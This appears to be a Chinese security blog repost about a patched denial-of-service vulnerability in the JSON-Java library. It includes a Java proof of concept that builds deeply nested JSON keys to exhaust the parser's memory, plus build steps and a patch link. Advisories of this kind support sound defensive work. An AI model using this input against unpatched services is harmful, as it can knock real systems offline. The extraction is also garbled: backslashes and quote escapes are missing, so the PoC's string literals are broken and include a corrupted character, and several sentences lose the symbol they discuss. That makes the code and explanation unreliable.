|
今天,继续分享一个有趣的漏洞,甚至可以打崩服务。
01
漏洞详情
ClusterFuzz 发现了 JSON-Java 中的拒绝服务漏洞。解析器中的错误意味着适度大小的输入字符串可能会导致使用无限量的内存。
有两个问题
(1) 解析器错误可用于规避检查,该检查旨在防止 JSON 对象中的键本身成为另一个 JSON 对象;
(2) 如果某个键最终成为 JSON 对象,则会将其转换为字符串,并使用 转义特殊字符,包括 本身。因此,通过嵌套 JSON 对象,其中一个键是一个 JSON 对象,另一个键是一个 JSON 对象,依此类推,我们可以在转义字符串中获得指数数量的 字符
02
漏洞等级
高
- 由于这是一个已经修复的 DoS 漏洞,因此唯一可能产生的影响是尚未更新的现有二进制文件。
03
POC 证明
package orgjsonbug;
import
org.json.JSONObject;
/**
* Illustrates a bug in JSON-Java.
*/
public
class
Bug
{
private
static
String
makeNested
(
int
depth)
{
if
(depth ==
0
) {
return
"{"a":1}"
;
}
return
"{"a":1;t�"
+ makeNested(depth -
1
) +
":1}"
;
}
public
static
void
main
(String[] args)
{
String input = makeNested(
30
);
System.out.
printf
(
"Input string has length %d: %sn"
, input.length(), input);
JSONObject output =
new
JSONObject(input);
System.out.
printf
(
"Output JSONObject has length %d: %sn"
, output.toString().length(), output);
}
}
运行时,报告输入字符串的长度为 367。然后,在长时间暂停后,程序在新的 JSONObject 内崩溃并出现 OutOfMemoryError。
04
深入分析
Patch Commit:
https://github.com/stleary/JSON-java/pull/759/commits/c8a9e15a57886dbf3e51cd450bde8e0c4599bff3
修复&测试
编译、调试
javac
org/json/
*.java
-Xlint:unchecked
jar cf json-java.jar org/json/
*.class
org/json/
*.java
通过
绕过嵌套对象检查。
嵌套循环之后会产生非常多的
。
当执行一段时间,会出现heap 内存泄漏。
原文始发于微信公众号(一个不正经的黑客):【CVE】DoS Vulnerability in JSON-JAVA
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论